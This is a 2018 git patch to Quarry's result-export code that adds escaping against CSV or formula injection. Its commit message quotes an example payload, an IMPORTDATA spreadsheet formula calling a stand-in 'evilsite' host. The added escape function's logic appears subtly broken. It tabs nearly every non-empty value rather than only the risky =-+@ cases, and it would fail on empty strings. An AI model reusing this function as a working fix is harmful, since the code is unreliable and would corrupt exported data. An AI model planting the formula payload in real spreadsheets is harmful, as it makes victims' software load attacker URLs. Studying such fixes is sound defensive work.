From 4b3583c4cf7f45b7bac56b8df9dfd0799a12111a Mon Sep 17 00:00:00 2001
From: Framawiki <framawiki@tools.wmflabs.org>
Date: Sun, 2 Dec 2018 14:51:38 +0100
Subject: [PATCH] SECURITY: escape CSV injections

The "export resultsets" function of Quarry was not
protected against CSV Injection, aka Formula Injection.

https://www.owasp.org/index.php/CSV_Injection
https://pentestmag.com/formula-injection/
http://georgemauer.net/2017/10/07/csv-injection.html

For example, this query:

    select '=IMPORTDATA("https://evilsite.com")';

Was creating when exported as CSV a file that contains:

"=IMPORTDATA(""https://evilsite.com"")"
"=IMPORTDATA(""https://evilsite.com"")"

For example, this file, when imported in Google Docs,
was loading the remote url without warnings.

This patch escapes problematic cases in exports and shows
a warning to the user in the query view page.

Tabulate "\t" is added as cell prefix for ones that
starts with one of the four problematic charters,

    =-+@

The escape is done when the output is generated for affected
formats (mainly those spreadsheet formats). This is to avoid
polluting the raw data archive. Unforunately, there is no
warning to the user that data has been altered.

Bug: T209226
Change-Id: I099a836897c76852e13a708c8ba57532aaeab6e8
---
 quarry/web/output.py | 34 ++++++++++++++++++++++++++++++++--
 1 file changed, 32 insertions(+), 2 deletions(-)

diff --git a/quarry/web/output.py b/quarry/web/output.py
index cc7b5c1..54a4d2a 100644
--- a/quarry/web/output.py
+++ b/quarry/web/output.py
@@ -60,6 +60,34 @@ def _stringify_results(rows):
         yield r
 
 
+TEST_CSV_INJECTION_PREFIXS = '=-+@'
+
+
+def _inner_csv_injection_escape(element):
+    """
+    Escape possible CSV injection. T209226
+    """
+    if not isinstance(element, (bytes, str)):
+        return element
+    # str to convert bytes to unicode
+    if str(element).lstrip(' ').startswith('\t') or \
+        (not element and str(element).lstrip()[0]
+         not in TEST_CSV_INJECTION_PREFIXS):
+        return element
+    if isinstance(element, bytes):
+        return type(element)(b'\t') + element
+    elif isinstance(element, str):
+        return type(element)('\t') + element
+
+
+def _csv_injection_escape(rows):
+    for row in rows:
+        r = list(row)
+        for i, v in enumerate(r):
+            r[i] = _inner_csv_injection_escape(v)
+        yield r
+
+
 class _IterI(IterI):
     def write(self, s):
         if s:
@@ -72,7 +100,8 @@ class _IterI(IterI):
 
 
 def separated_formatter(reader, resultset_id, delim=','):
-    rows = _stringify_results(reader.get_rows(resultset_id))
+    rows = _stringify_results(_csv_injection_escape(
+        reader.get_rows(resultset_id)))
 
     def respond(stream):
         csvobject = csv.writer(stream, delimiter=delim)
@@ -134,7 +163,8 @@ def wikitable_formatter(reader, resultset_id):
 
 
 def xlsx_formatter(reader, resultset_id):
-    rows = _stringify_results(reader.get_rows(resultset_id))
+    rows = _stringify_results(_csv_injection_escape(
+        reader.get_rows(resultset_id, )))
 
     def respond(stream):
         workbook = xlsxwriter.Workbook(stream, {'constant_memory': True})
-- 
2.20.1